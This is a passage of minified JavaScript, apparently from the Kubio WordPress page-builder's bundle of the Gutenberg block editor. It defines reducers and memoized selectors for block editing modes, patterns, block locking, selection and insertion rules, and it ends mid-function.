Bt=(0,p.pipe)((function(e){return(t,n)=>{var o,i;const r=e(t,n);if("SET_EDITOR_MODE"!==n.type&&r===t)return t;switch(n.type){case"REMOVE_BLOCKS":{const e=Ct({prevState:t,nextState:r,removedClientIds:n.clientIds,isNavMode:!1}),o=Ct({prevState:t,nextState:r,removedClientIds:n.clientIds,isNavMode:!0});if(e||o)return{...r,derivedBlockEditingModes:null!=e?e:t.derivedBlockEditingModes,derivedNavModeBlockEditingModes:null!=o?o:t.derivedNavModeBlockEditingModes};break}case"RECEIVE_BLOCKS":case"INSERT_BLOCKS":{const e=Ct({prevState:t,nextState:r,addedBlocks:n.blocks,isNavMode:!1}),o=Ct({prevState:t,nextState:r,addedBlocks:n.blocks,isNavMode:!0});if(e||o)return{...r,derivedBlockEditingModes:null!=e?e:t.derivedBlockEditingModes,derivedNavModeBlockEditingModes:null!=o?o:t.derivedNavModeBlockEditingModes};break}case"SET_BLOCK_EDITING_MODE":case"UNSET_BLOCK_EDITING_MODE":case"SET_HAS_CONTROLLED_INNER_BLOCKS":{const e=_t(r,n.clientId);if(!e)break;const o=Ct({prevState:t,nextState:r,removedClientIds:[n.clientId],addedBlocks:[e],isNavMode:!1}),i=Ct({prevState:t,nextState:r,removedClientIds:[n.clientId],addedBlocks:[e],isNavMode:!0});if(o||i)return{...r,derivedBlockEditingModes:null!=o?o:t.derivedBlockEditingModes,derivedNavModeBlockEditingModes:null!=i?i:t.derivedNavModeBlockEditingModes};break}case"REPLACE_BLOCKS":{const e=Ct({prevState:t,nextState:r,addedBlocks:n.blocks,removedClientIds:n.clientIds,isNavMode:!1}),o=Ct({prevState:t,nextState:r,addedBlocks:n.blocks,removedClientIds:n.clientIds,isNavMode:!0});if(e||o)return{...r,derivedBlockEditingModes:null!=e?e:t.derivedBlockEditingModes,derivedNavModeBlockEditingModes:null!=o?o:t.derivedNavModeBlockEditingModes};break}case"REPLACE_INNER_BLOCKS":{const e=t.blocks.order.get(n.rootClientId),o=Ct({prevState:t,nextState:r,addedBlocks:n.blocks,removedClientIds:e,isNavMode:!1}),i=Ct({prevState:t,nextState:r,addedBlocks:n.blocks,removedClientIds:e,isNavMode:!0});if(o||i)return{...r,derivedBlockEditingModes:null!=o?o:t.derivedBlockEditingModes,derivedNavModeBlockEditingModes:null!=i?i:t.derivedNavModeBlockEditingModes};break}case"MOVE_BLOCKS_TO_POSITION":{const e=n.clientIds.map((e=>r.blocks.byClientId.get(e))),o=Ct({prevState:t,nextState:r,addedBlocks:e,removedClientIds:n.clientIds,isNavMode:!1}),i=Ct({prevState:t,nextState:r,addedBlocks:e,removedClientIds:n.clientIds,isNavMode:!0});if(o||i)return{...r,derivedBlockEditingModes:null!=o?o:t.derivedBlockEditingModes,derivedNavModeBlockEditingModes:null!=i?i:t.derivedNavModeBlockEditingModes};break}case"UPDATE_SETTINGS":var l,s;if((null==t||null===(l=t.settings)||void 0===l?void 0:l[lt])!==(null==r||null===(s=r.settings)||void 0===s?void 0:s[lt]))return{...r,derivedBlockEditingModes:wt(r,!1),derivedNavModeBlockEditingModes:wt(r,!0)};break;case"RESET_BLOCKS":case"SET_EDITOR_MODE":case"RESET_ZOOM_LEVEL":case"SET_ZOOM_LEVEL":return{...r,derivedBlockEditingModes:wt(r,!1),derivedNavModeBlockEditingModes:wt(r,!0)}}return r.derivedBlockEditingModes=null!==(o=null==t?void 0:t.derivedBlockEditingModes)&&void 0!==o?o:new Map,r.derivedNavModeBlockEditingModes=null!==(i=null==t?void 0:t.derivedNavModeBlockEditingModes)&&void 0!==i?i:new Map,r}}),(function(e){return(t,n)=>{const o=e(t,n);return t?(o.automaticChangeStatus=t.automaticChangeStatus,"MARK_AUTOMATIC_CHANGE"===n.type?{...o,automaticChangeStatus:"pending"}:"MARK_AUTOMATIC_CHANGE_FINAL"===n.type&&"pending"===t.automaticChangeStatus?{...o,automaticChangeStatus:"final"}:o.blocks===t.blocks&&o.selection===t.selection||"final"!==o.automaticChangeStatus&&o.selection!==t.selection?o:{...o,automaticChangeStatus:void 0}):o}}))(kt);var It,jt;function Et(e){return[e]}function Tt(){var e={clear:function(){e.head=null}};return e}function Pt(e,t,n){var o;if(e.length!==t.length)return!1;for(o=n;o<e.length;o++)if(e[o]!==t[o])return!1;return!0}function Mt(e,t){var n,o;function i(){n=jt?new WeakMap:Tt()}function r(){var n,i,r,l,s,a=arguments.length;for(l=new Array(a),r=0;r<a;r++)l[r]=arguments[r];for(s=t.apply(null,l),(n=o(s)).isUniqueByDependants||(n.lastDependants&&!Pt(s,n.lastDependants,0)&&n.clear(),n.lastDependants=s),i=n.head;i;){if(Pt(i.args,l,1))return i!==n.head&&(i.prev.next=i.next,i.next&&(i.next.prev=i.prev),i.next=n.head,i.prev=null,n.head.prev=i,n.head=i),i.val;i=i.next}return i={val:e.apply(null,l)},l[0]=null,i.args=l,n.head&&(n.head.prev=i,i.next=n.head),n.head=i,i.val}return t||(t=Et),o=jt?function(e){var t,o,i,r,l,s=n,a=!0;for(t=0;t<e.length;t++){if(!(l=o=e[t])||"object"!=typeof l){a=!1;break}s.has(o)?s=s.get(o):(i=new WeakMap,s.set(o,i),s=i)}return s.has(It)||((r=Tt()).isUniqueByDependants=a,s.set(It,r)),s.get(It)}:function(){return n},r.getDependants=t,r.clear=i,i(),r}It={},jt="undefined"!=typeof WeakMap;const Rt=window.wp.primitives;var Nt=n(5893);const At=(0,Nt.jsx)(Rt.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Nt.jsx)(Rt.Path,{d:"M21.3 10.8l-5.6-5.6c-.7-.7-1.8-.7-2.5 0l-5.6 5.6c-.7.7-.7 1.8 0 2.5l5.6 5.6c.3.3.8.5 1.2.5s.9-.2 1.2-.5l5.6-5.6c.8-.7.8-1.9.1-2.5zm-1 1.4l-5.6 5.6c-.1.1-.3.1-.4 0l-5.6-5.6c-.1-.1-.1-.3 0-.4l5.6-5.6s.1-.1.2-.1.1 0 .2.1l5.6 5.6c.1.1.1.3 0 .4zm-16.6-.4L10 5.5l-1-1-6.3 6.3c-.7.7-.7 1.8 0 2.5L9 19.5l1.1-1.1-6.3-6.3c-.2 0-.2-.2-.1-.3z"})}),Lt=window.wp.richText;function Dt(e,t,n="asc"){return e.concat().sort(((e,t,n)=>(o,i)=>{let r,l;if("function"==typeof e?(r=e(o),l=e(i)):(r=o[e],l=i[e]),r>l)return"asc"===n?1:-1;if(l>r)return"asc"===n?-1:1;const s=t.findIndex((e=>e===o)),a=t.findIndex((e=>e===i));return s>a?1:a>s?-1:0})(t,e,n))}const Ot="core/block-editor",zt=window.wp.blockSerializationDefaultParser,Ft="user";(0,Je.__)("All","kubio"),(0,Je.__)("My patterns","kubio");const Vt=window.kubio.constants;function Ht(e,t,n){t=Array.isArray(t)?[...t]:[t],e=Array.isArray(e)?[...e]:{...e};const o=t.pop();let i=e;for(const e of t){const t=i[e];i=i[e]=Array.isArray(t)?[...t]:{...t}}return i[o]=n,e}const Gt=(e,t,n)=>{var o;const i=Array.isArray(t)?t:t.split(".");let r=e;return i.forEach((e=>{var t;r=null===(t=r)||void 0===t?void 0:t[e]})),null!==(o=r)&&void 0!==o?o:n},$t=["color","border","dimensions","typography","spacing"],Ut={"color.palette":e=>e.colors,"color.gradients":e=>e.gradients,"color.custom":e=>void 0===e.disableCustomColors?void 0:!e.disableCustomColors,"color.customGradient":e=>void 0===e.disableCustomGradients?void 0:!e.disableCustomGradients,"typography.fontSizes":e=>e.fontSizes,"typography.customFontSize":e=>void 0===e.disableCustomFontSizes?void 0:!e.disableCustomFontSizes,"typography.lineHeight":e=>e.enableCustomLineHeight,"spacing.units":e=>{if(void 0!==e.enableCustomUnits)return!0===e.enableCustomUnits?["px","em","rem","vh","vw","%"]:e.enableCustomUnits},"spacing.padding":e=>e.enableCustomSpacing},Wt={"border.customColor":"border.color","border.customStyle":"border.style","border.customWidth":"border.width","typography.customFontStyle":"typography.fontStyle","typography.customFontWeight":"typography.fontWeight","typography.customLetterSpacing":"typography.letterSpacing","typography.customTextDecorations":"typography.textDecoration","typography.customTextTransforms":"typography.textTransform","border.customRadius":"border.radius","spacing.customMargin":"spacing.margin","spacing.customPadding":"spacing.padding","typography.customLineHeight":"typography.lineHeight"},Kt=e=>Wt[e]||e;function Zt(e,t,...n){const o=Yn(e,t),i=[];if(t){let n=t;do{const t=Yn(e,n);(0,c.hasBlockSupport)(t,"__experimentalSettings",!1)&&i.push(n)}while(n=e.blocks.parents.get(n))}return n.map((n=>{var r;if($t.includes(n))return void console.warn("Top level useSetting paths are disabled. Please use a subpath to query the information needed.");let l=(0,h.applyFilters)("blockEditor.useSetting.before",void 0,n,t,o);if(void 0!==l)return l;const s=Kt(n);for(const t of i){var a,c,u;const n=Qn(e,t);if(l=null!==(a=Gt(null===(c=n.settings)||void 0===c||null===(u=c.blocks)||void 0===u?void 0:u[o],s))&&void 0!==a?a:Gt(n.settings,s),void 0!==l)break}const d=Ui(e);var p,g,f,m;if(void 0===l&&o&&(l=Gt(null===(p=d.__experimentalFeatures)||void 0===p||null===(g=p.blocks)||void 0===g?void 0:g[o],s)),void 0===l&&(l=Gt(d.__experimentalFeatures,s)),void 0!==l)return Vt.__EXPERIMENTAL_PATHS_WITH_OVERRIDE[s]?null!==(f=null!==(m=l.custom)&&void 0!==m?m:l.theme)&&void 0!==f?f:l.default:l;const v=null===(r=Ut[s])||void 0===r?void 0:r.call(Ut,d);return void 0!==v?v:"typography.dropCap"===s||void 0}))}const qt=d.createSelector?d.createSelector:Mt;function Yt(e){return e.isBlockInterfaceHidden}function Xt(e){var t;return null==e||null===(t=e.lastBlockInserted)||void 0===t?void 0:t.clientIds}function Qt(e,t){return e.blocks.byClientId.get(t)}const Jt=(e,t)=>{const n=t=>"disabled"===gr(e,t)&&Uo(e,t).every(n);return Uo(e,t).every(n)};function en(e,t){const n=Uo(e,t),o=[];for(const t of n){const n=en(e,t);"disabled"!==gr(e,t)?o.push({clientId:t,innerBlocks:n}):o.push(...n)}return o}const tn=(0,d.createRegistrySelector)((e=>qt(en,(t=>[t.blocks.order,t.derivedBlockEditingModes,t.derivedNavModeBlockEditingModes,t.blockEditingModes,t.settings.templateLock,t.blockListSettings,e(Ot).__unstableGetEditorMode(t)])))),nn=qt(((e,t,n=!1)=>xo(e,t,n).filter((t=>"disabled"!==gr(e,t)))),(e=>[e.blocks.parents,e.blockEditingModes,e.settings.templateLock,e.blockListSettings]));function on(e){return e.removalPromptData}function rn(e){return e.blockRemovalRules}function ln(e){return e.openedBlockSettingsMenu}const sn=qt((e=>{const t=ro(e).reduce(((e,t,n)=>(e[t]=n,e)),{});return[...e.styleOverrides].sort(((e,n)=>{var o,i;const[,{clientId:r}]=e,[,{clientId:l}]=n;return(null!==(o=t[r])&&void 0!==o?o:-1)-(null!==(i=t[l])&&void 0!==i?i:-1)}))}),(e=>[e.blocks.order,e.styleOverrides]));function an(e){return e.registeredInserterMediaCategories}const cn=qt((e=>{const{settings:{inserterMediaCategories:t,allowedMimeTypes:n,enableOpenverseMediaCategory:o},registeredInserterMediaCategories:i}=e;if(!t&&!i.length||!n)return;const r=(null==t?void 0:t.map((({name:e})=>e)))||[];return[...t||[],...(i||[]).filter((({name:e})=>!r.includes(e)))].filter((e=>!(!o&&"openverse"===e.name)&&Object.values(n).some((t=>t.startsWith(`${e.mediaType}/`)))))}),(e=>[e.settings.inserterMediaCategories,e.settings.allowedMimeTypes,e.settings.enableOpenverseMediaCategory,e.registeredInserterMediaCategories])),un=(0,d.createRegistrySelector)((e=>qt(((t,n=null)=>{const{getAllPatterns:o,__experimentalGetParsedPattern:i}=ge(e(Ot)),r=o(),{allowedBlockTypes:l}=Ui(t);return r.some((({name:e,inserter:o=!0})=>{if(!o)return!1;const{blocks:r}=i(e);return Fn(r,l)&&r.every((({name:e})=>gi(t,e,n)))}))}),((t,n)=>[...Vn(e)(t),...Hn(e)(t,n)]))));function dn(e,t=[]){var n;return{name:`core/block/${e.id}`,id:e.id,type:Ft,title:e.title.raw,categories:null===(n=e.wp_pattern_category)||void 0===n?void 0:n.map((e=>{const n=t.find((({id:t})=>t===e));return n?n.slug:e})),content:e.content.raw,syncStatus:e.wp_pattern_sync_status}}const pn=(0,d.createRegistrySelector)((e=>qt(((t,n)=>{var o,i,r,l;if(null!=n&&n.startsWith("core/block/")){const o=parseInt(n.slice(11),10),i=ge(e(Ot)).getReusableBlocks().find((({id:e})=>e===o));return i?dn(i,t.settings.__experimentalUserPatternCategories):null}return[...null!==(o=t.settings.__experimentalBlockPatterns)&&void 0!==o?o:[],...null!==(i=null===(r=(l=t.settings)[it])||void 0===r?void 0:r.call(l,e))&&void 0!==i?i:[]].find((({name:e})=>e===n))}),((t,n)=>{var o,i;return null!=n&&n.startsWith("core/block/")?[ge(e(Ot)).getReusableBlocks(),t.settings.__experimentalReusableBlocks]:[t.settings.__experimentalBlockPatterns,null===(o=(i=t.settings)[it])||void 0===o?void 0:o.call(i,e)]})))),hn=(0,d.createRegistrySelector)((e=>qt((t=>{var n,o,i,r;return[...ge(e(Ot)).getReusableBlocks().map((e=>dn(e,t.settings.__experimentalUserPatternCategories))),...null!==(n=t.settings.__experimentalBlockPatterns)&&void 0!==n?n:[],...null!==(o=null===(i=(r=t.settings)[it])||void 0===i?void 0:i.call(r,e))&&void 0!==o?o:[]].filter(((e,t,n)=>t===n.findIndex((t=>e.name===t.name))))}),Vn(e)))),gn=(0,d.createRegistrySelector)((e=>qt((t=>{const n=t.settings[it],o=t.settings[rt];return!!n&&void 0===n(e)||!!o&&void 0===o(e)}),Vn(e)))),fn=[],mn=(0,d.createRegistrySelector)((e=>t=>{var n;const o=t.settings[rt];return o?o(e):null!==(n=t.settings.__experimentalReusableBlocks)&&void 0!==n?n:fn}));function vn(e){return e.lastFocus}function bn(e){return e.blockBindingsSources}function kn(e,t){return e.blockBindingsSources[t]}function yn(e){return e.isDragging}function xn(e){return e.expandedBlock}const Sn=(e,t)=>{let n,o=t;for(;!n&&(o=e.blocks.parents.get(o));)"contentOnly"===di(e,o)&&(n=o);return n},wn=(e,t)=>{let n,o=t;for(;!n&&(o=e.blocks.parents.get(o));)Cn(e,o)&&(n=o);return n};function Cn(e,t){const n=Yn(e,t);if("core/block"===n||"contentOnly"===di(e,t))return!0;const o=Qi(e);if(o&&"core/template-part"===n)return!0;const i=Uo(e,En(e));return o&&i.includes(t)}function Bn(e){return e.temporarilyEditingAsBlocks}function In(e){return e.temporarilyEditingFocusModeRevert}const jn=qt(((e,t)=>t.reduce(((t,n)=>{var o;return t[n]=null===(o=e.blocks.attributes.get(n))||void 0===o?void 0:o.style,t}),{})),((e,t)=>[...t.map((t=>{var n;return null===(n=e.blocks.attributes.get(t))||void 0===n?void 0:n.style}))]));function En(e){var t;return null===(t=e.settings)||void 0===t?void 0:t[lt]}function Tn(e){return"auto-scaled"===e.zoomLevel||e.zoomLevel<100}function Pn(e){return e.zoomLevel}function Mn(e,t,n=""){const o=Array.isArray(t)?t:[t],i=t=>o.every((n=>gi(e,n,t)));if(!n){if(i(n))return n;const t=En(e);return t&&i(t)?t:null}let r=n;for(;null!==r&&!i(r);)r=getBlockRootClientId(e,r);return r}function Rn(e,t,n){const{allowedBlockTypes:o}=Ui(e);return Fn(getGrammar(t),o)?Mn(e,getGrammar(t).map((({blockName:e})=>e)),n):null}function Nn(e){return e.insertionPoint}Symbol("withRootClientId");const An=Symbol("isFiltered"),Ln=new WeakMap,Dn=new WeakMap;function On(e){let t=Dn.get(e);if(!t){let t=[];t=e.isGutentagPattern?null!=e&&e.isProOnFree?[]:[(0,oe.transformTemplateToBlock)(e.content)]:(0,zt.parse)(e.content),t=t.filter((e=>null!==e.blockName)),Dn.set(e,t)}return t}const zn=(e,t,n=null)=>"boolean"==typeof e?e:Array.isArray(e)?!(!e.includes("core/post-content")||null!==t)||e.includes(t):n,Fn=(e,t)=>{if("boolean"==typeof t)return t;const n=[...e];for(;n.length>0;){var o;const e=n.shift();if(!zn(t,e.name||e.blockName,!0))return!1;null===(o=e.innerBlocks)||void 0===o||o.forEach((e=>{n.push(e)}))}return!0},Vn=e=>t=>{var n,o;return[t.settings.__experimentalBlockPatterns,t.settings.__experimentalUserPatternCategories,t.settings.__experimentalReusableBlocks,null===(n=(o=t.settings)[it])||void 0===n?void 0:n.call(o,e),t.blockPatterns,ge(e(Ot)).getReusableBlocks()]},Hn=e=>(t,n)=>[t.blockListSettings[n],t.blocks.byClientId.get(n),t.settings.allowedBlockTypes,t.settings.templateLock,t.blockEditingModes,e(Ot).__unstableGetEditorMode(t),En(t)],Gn=window.wp.preferences,$n=window.wp.url,Un=[],Wn=new Set,Kn={[An]:!0},Zn={move:!0,remove:!0},qn=["core/post-content","kubio/header","kubio/footer","kubio/query-layout","kubio/menu-offscreen","kubio/menu-offscreen-content"];function Yn(e,t){const n=e.blocks.byClientId.get(t),o="core/social-link";if("web"!==u.Platform.OS&&(null==n?void 0:n.name)===o){const n=e.blocks.attributes.get(t),{service:i}=null!=n?n:{};return i?`${o}-${i}`:o}return n?n.name:null}function Xn(e,t){const n=e.blocks.byClientId.get(t);return!!n&&n.isValid}const Qn=(0,d.createRegistrySelector)((e=>(t,n)=>{const o=t.blocks.byClientId.get(n);if(!o)return null;const i=t.blocks.attributes.get(n),r=Yn(t,n),l=(0,h.applyFilters)("kubio.default_locked_blocks",qn),s=(0,h.applyFilters)("kubio.is_block_locked",!1,o,e);return s?(0,se.isObject)(s)?i.lock=s:i.lock=Zn:l.includes(r)&&(i.lock=i.lock||Zn),i}));function Jn(e,t){return e.blocks.byClientId.has(t)?e.blocks.tree.get(t):null}const eo=Mt(((e,t)=>{const n=e.blocks.byClientId.get(t);return n?{...n,attributes:Qn(e,t)}:null}),((e,t)=>[e.blocks.byClientId.get(t),e.blocks.attributes.get(t)]));function to(e,t){var n;if(!(0,se.isEmpty)(t)&&(0,se.isEmpty)(e.blocks.order.get(t)))return Un;const o=t&&or(e,t)?"controlled||"+t:t||"";return(null===(n=e.blocks.tree.get(o))||void 0===n?void 0:n.innerBlocks)||Un}const no=Mt(((e,t)=>(Ye()("wp.data.select( 'core/block-editor' ).__unstableGetClientIdWithClientIdsTree",{since:"6.3",version:"6.5"}),{clientId:t,innerBlocks:oo(e,t)})),(e=>[e.blocks.order])),oo=Mt(((e,t="")=>(Ye()("wp.data.select( 'core/block-editor' ).__unstableGetClientIdsTree",{since:"6.3",version:"6.5"}),Uo(e,t).map((t=>no(e,t))))),(e=>[e.blocks.order])),io=Mt(((e,t)=>{t=Array.isArray(t)?[...t]:[t];const n=[];for(const o of t){const t=e.blocks.order.get(o);t&&n.push(...t)}let o=0;for(;o<n.length;){const t=n[o],i=e.blocks.order.get(t);i&&n.splice(o+1,0,...i),o++}return n}),(e=>[e.blocks.order])),ro=e=>io(e,""),lo=Mt(((e,t)=>{const n=ro(e);if(!t)return n.length;let o=0;for(const i of n)e.blocks.byClientId.get(i).name===t&&o++;return o}),(e=>[e.blocks.order,e.blocks.byClientId])),so=Mt(((e,t)=>{if(!t)return Un;const n=Array.isArray(t)?t:[t],o=ro(e).filter((t=>{const o=e.blocks.byClientId.get(t);return n.includes(o.name)}));return o.length>0?o:Un}),(e=>[e.blocks.order,e.blocks.byClientId]));function ao(e,t){return Ye()("wp.data.select( 'core/block-editor' ).__experimentalGetGlobalBlocksByName",{since:"6.5",alternative:"wp.data.select( 'core/block-editor' ).getBlocksByName"}),so(e,t)}const co=Mt(((e,t)=>(Array.isArray(t)?t:[t]).map((t=>Jn(e,t)))),((e,t)=>(Array.isArray(t)?t:[t]).map((t=>e.blocks.tree.get(t))))),uo=Mt(((e,t)=>co(e,t).filter(Boolean).map((e=>e.name))),((e,t)=>co(e,t)));function po(e,t){return Uo(e,t).length}function ho(e){return e.selection.selectionStart}function go(e){return e.selection.selectionEnd}function fo(e){const t=e.selection.selectionStart.clientId;return e.blocks.byClientId.get(t)?t:null}function mo(e){const t=e.selection.selectionEnd.clientId;return e.blocks.byClientId.get(t)?t:null}function vo(e){return Po(e).length||(e.selection.selectionStart.clientId?1:0)}function bo(e){const{selectionStart:t,selectionEnd:n}=e.selection;return!!t.clientId&&t.clientId===n.clientId}function ko(e){const{selectionStart:t,selectionEnd:n}=e.selection,{clientId:o}=t;return o&&o===n.clientId&&e.blocks.byClientId.get(o)?o:null}function _o(e){const t=ko(e);return t?Jn(e,t):null}function yo(e,t){var n;return null!==(n=e.blocks.parents.get(t))&&void 0!==n?n:null}const xo=Mt(((e,t,n=!1)=>{const o=[];let i=(0,se.castArray)(t)[0];for(;e.blocks.parents.get(i);)i=e.blocks.parents.get(i),o.push(i);return o.length?n?o:o.reverse():Un}),(e=>[e.blocks.parents])),So=Mt(((e,t,n,o=!1)=>{const i=xo(e,t,o),r=Array.isArray(n)?e=>n.includes(e):e=>n===e;return i.filter((t=>r(Yn(e,t))))}),(e=>[e.blocks.parents]));function wo(e,t){let n,o=t;do{n=o,o=e.blocks.parents.get(o)}while(o);return n}function Co(e,t){const n=ko(e),o=[...xo(e,t),t],i=[...xo(e,n),n];let r;const l=Math.min(o.length,i.length);for(let e=0;e<l&&o[e]===i[e];e++)r=o[e];return r}function Bo(e,t,n=1){if(void 0===t&&(t=ko(e)),void 0===t&&(t=n<0?Ro(e):No(e)),!t)return null;const o=yo(e,t);if(null===o)return null;const{order:i}=e.blocks,r=i.get(o),l=r.indexOf(t)+1*n;return l<0||l===r.length?null:r[l]}function Io(e,t){return Bo(e,t,-1)}function jo(e,t){return Bo(e,t,1)}function Eo(e){return e.initialPosition}const To=Mt((e=>{const{selectionStart:t,selectionEnd:n}=e.selection;if(!t.clientId||!n.clientId)return Un;if(t.clientId===n.clientId)return[t.clientId];const o=yo(e,t.clientId);if(null===o)return Un;const i=Uo(e,o),r=i.indexOf(t.clientId),l=i.indexOf(n.clientId);return r>l?i.slice(l,r+1):i.slice(r,l+1)}),(e=>[e.blocks.order,e.selection.selectionStart.clientId,e.selection.selectionEnd.clientId]));function Po(e){const{selectionStart:t,selectionEnd:n}=e.selection;return t.clientId===n.clientId?Un:To(e)}const Mo=Mt((()=>[]),(()=>[]));function Ro(e){return Po(e)[0]||null}function No(e){const t=Po(e);return t[t.length-1]||null}function Ao(e,t){return Ro(e)===t}function Lo(e,t){return-1!==Po(e).indexOf(t)}const Do=Mt(((e,t)=>{let n=t,o=!1;for(;n&&!o;)n=yo(e,n),o=Lo(e,n);return o}),(e=>[e.blocks.order,e.selection.selectionStart.clientId,e.selection.selectionEnd.clientId]));function Oo(e){const{selectionStart:t,selectionEnd:n}=e.selection;return t.clientId===n.clientId?null:t.clientId||null}function zo(e){const{selectionStart:t,selectionEnd:n}=e.selection;return t.clientId===n.clientId?null:n.clientId||null}function Fo(e){const t=ho(e),n=go(e);return!t.attributeKey&&!n.attributeKey&&void 0===t.offset&&void 0===n.offset}function Vo(e){const t=ho(e),n=go(e);return!!t&&!!n&&t.clientId===n.clientId&&t.attributeKey===n.attributeKey&&t.offset===n.offset}function Ho(e){return To(e).some((t=>{const n=Yn(e,t);return!(0,c.getBlockType)(n).merge}))}function Go(e,t){const n=ho(e),o=go(e);if(n.clientId===o.clientId)return!1;if(!n.attributeKey||!o.attributeKey||void 0===n.offset||void 0===o.offset)return!1;const i=yo(e,n.clientId);if(i!==yo(e,o.clientId))return!1;const r=Uo(e,i);let l,s;r.indexOf(n.clientId)>r.indexOf(o.clientId)?(l=o,s=n):(l=n,s=o);const a=t?s.clientId:l.clientId,u=t?l.clientId:s.clientId,d=Yn(e,a);if(!(0,c.getBlockType)(d).merge)return!1;const p=Jn(e,u);if(p.name===d)return!0;const h=(0,c.switchToBlockType)(p,d);return h&&h.length}const $o=e=>{const t=ho(e),n=go(e);if(t.clientId===n.clientId)return Un;if(!t.attributeKey||!n.attributeKey||void 0===t.offset||void 0===n.offset)return Un;const o=yo(e,t.clientId);if(o!==yo(e,n.clientId))return Un;const i=Uo(e,o),r=i.indexOf(t.clientId),l=i.indexOf(n.clientId),[s,a]=r>l?[n,t]:[t,n],c=Jn(e,s.clientId),u=Jn(e,a.clientId),d=c.attributes[s.attributeKey],p=u.attributes[a.attributeKey];let h=(0,Lt.create)({html:d}),g=(0,Lt.create)({html:p});return h=(0,Lt.remove)(h,0,s.offset),g=(0,Lt.remove)(g,a.offset,g.text.length),[{...c,attributes:{...c.attributes,[s.attributeKey]:(0,Lt.toHTMLString)({value:h})}},{...u,attributes:{...u.attributes,[a.attributeKey]:(0,Lt.toHTMLString)({value:g})}}]};function Uo(e,t){return e.blocks.order.get(t||"")||Un}function Wo(e,t){return Uo(e,yo(e,t)).indexOf(t)}function Ko(e,t){const{selectionStart:n,selectionEnd:o}=e.selection;return n.clientId===o.clientId&&n.clientId===t}function Zo(e,t,n=!1){const o=To(e);return!!o.length&&(n?o.some((n=>xo(e,n,!0).includes(t))):o.some((n=>yo(e,n)===t)))}function qo(e,t,n=!1){return Uo(e,t).some((t=>ii(e,t)||n&&qo(e,t,n)))}function Yo(e,t){if(!t)return!1;const n=Po(e),o=n.indexOf(t);return o>-1&&o<n.length-1}function Xo(e){const{selectionStart:t,selectionEnd:n}=e.selection;return t.clientId!==n.clientId}function Qo(e){return e.isMultiSelecting}function Jo(e){return e.isSelectionEnabled}function ei(e,t){return e.blocksMode[t]||"visual"}function ti(e){return e.isTyping}function ni(e){return!!e.draggedBlocks.length}function oi(e){return e.draggedBlocks}function ii(e,t){return e.draggedBlocks.includes(t)}function ri(e,t){return!!ni(e)&&xo(e,t).some((t=>ii(e,t)))}function li(){return Ye()('wp.data.select( "core/block-editor" ).isCaretWithinFormattedText',{since:"6.1",version:"6.3"}),!1}const si=Mt((e=>{let t,n;const{insertionCue:o,selection:{selectionEnd:i}}=e;if(null!==o)return o;const{clientId:r}=i;return r?(t=yo(e,r)||void 0,n=Wo(e,i.clientId)+1):n=Uo(e).length,{rootClientId:t,index:n}}),(e=>[e.insertionCue,e.selection.selectionEnd.clientId,e.blocks.parents,e.blocks.order]));function ai(e){return null!==e.insertionCue}function ci(e){return e.template.isValid}function ui(e){return e.settings.template}function di(e,t){var n,o,i;return t?null!==(n=null===(o=$i(e,t))||void 0===o?void 0:o.templateLock)&&void 0!==n&&n:null!==(i=e.settings.templateLock)&&void 0!==i&&i}const pi=(e,t,n=null)=>{let o,i;if(t&&"object"==typeof t?(o=t,i=t.name):(o=(0,c.getBlockType)(t),i=t),!o)return!1;const{allowedBlockTypes:r}=Ui(e);if(!zn(r,i,!0))return!1;const l=(Array.isArray(o.parent)?o.parent:[]).concat(Array.isArray(o.ancestor)?o.ancestor:[]);if(l.length>0){if(l.includes("core/post-content"))return!0;let t=n,o=!1;do{if(l.includes(Yn(e,t))){o=!0;break}t=e.blocks.parents.get(t)}while(t);return o}return!0},hi=(e,t,n=null)=>{if(!pi(e,t,n))return!1;let o;if(t&&"object"==typeof t?(o=t,t=o.name):o=(0,c.getBlockType)(t),di(e,n))return!1;if(Cn(e,n))return!1;if("disabled"===gr(e,null!=n?n:""))return!1;const i=$i(e,n);if(n&&void 0===i)return!1;const r=Yn(e,n),l=(0,c.getBlockType)(r),s=null==l?void 0:l.allowedBlocks,a=zn(s,t),u=o.parent,d=zn(u,r);let p=!0;const g=o.ancestor;g&&(p=[n,...xo(e,n)].some((t=>zn(g,Yn(e,t)))));const f=p&&(null===a&&null===d||!0===a||!0===d);return f?(0,h.applyFilters)("blockEditor.__unstableCanInsertBlockType",f,o,n,{getBlock:Jn.bind(null,e),getBlockParentsByBlockName:So.bind(null,e)}):f},gi=(0,d.createRegistrySelector)((e=>Mt(hi,((t,n,o)=>Hn(e)(t,o)))));function fi(e,t,n=null){return t.every((t=>gi(e,Yn(e,t),n)))}function mi(e,t){var n;const o=Qn(e,t);if(null===o)return!0;if(void 0!==(null===(n=o.lock)||void 0===n?void 0:n.remove))return!o.lock.remove;const i=yo(e,t);return!di(e,i)&&(!wn(e,t)&&"disabled"!==gr(e,i))}function vi(e,t){return t.every((t=>mi(e,t)))}function bi(e,t){var n;const o=Qn(e,t);if(null===o)return!0;if(void 0!==(null===(n=o.lock)||void 0===n?void 0:n.move))return!o.lock.move;const i=yo(e,t);return"all"!==di(e,i)&&"disabled"!==gr(e,i)}function ki(e,t){return t.every((t=>bi(e,t)))}function _i(e,t){const n=Qn(e,t);if(null===n)return!0;const{lock:o}=n;return!(null!=o&&o.edit)}function yi(e,t){var n;return!!(0,c.hasBlockSupport)(t,"lock",!0)&&!(null===(n=e.settings)||void 0===n||!n.canLockBlocks)}function xi(e,t){var n,o;return null!==(n=null===(o=e.preferences.insertUsage)||void 0===o?void 0:o[t])&&void 0!==n?n:null}const Si=(e,t,n)=>!!(0,c.hasBlockSupport)(t,"inserter",!0)&&hi(e,t.name,n),wi=(e,t)=>{if(!e)return t;const n=Date.now()-e;switch(!0){case n<36e5:return 4*t;case n<864e5:return 2*t;case n<6048e5:return t/2;default:return t/4}},Ci=(e,{buildScope:t="inserter"})=>n=>{const o=n.name;let i=!1;(0,c.hasBlockSupport)(n.name,"multiple",!0)||(i=co(e,ro(e)).some((({name:e})=>e===n.name)));const{time:r,count:l=0}=xi(e,o)||{},s={id:o,name:n.name,title:n.title,icon:n.icon,isDisabled:i,frecency:wi(r,l)};if("transform"===t)return s;const a=(0,c.getBlockVariations)(n.name,"inserter");return{...s,initialAttributes:{},description:n.description,category:n.category,keywords:n.keywords,parent:n.parent,ancestor:n.ancestor,variations:a,example:n.example,utility:1}},Bi=(0,d.createRegistrySelector)((e=>Mt(((t,n=null,o=Kn)=>{const i=hi(t,"core/block",n)?ge(e(Ot)).getReusableBlocks().map((e=>{var n,o;const 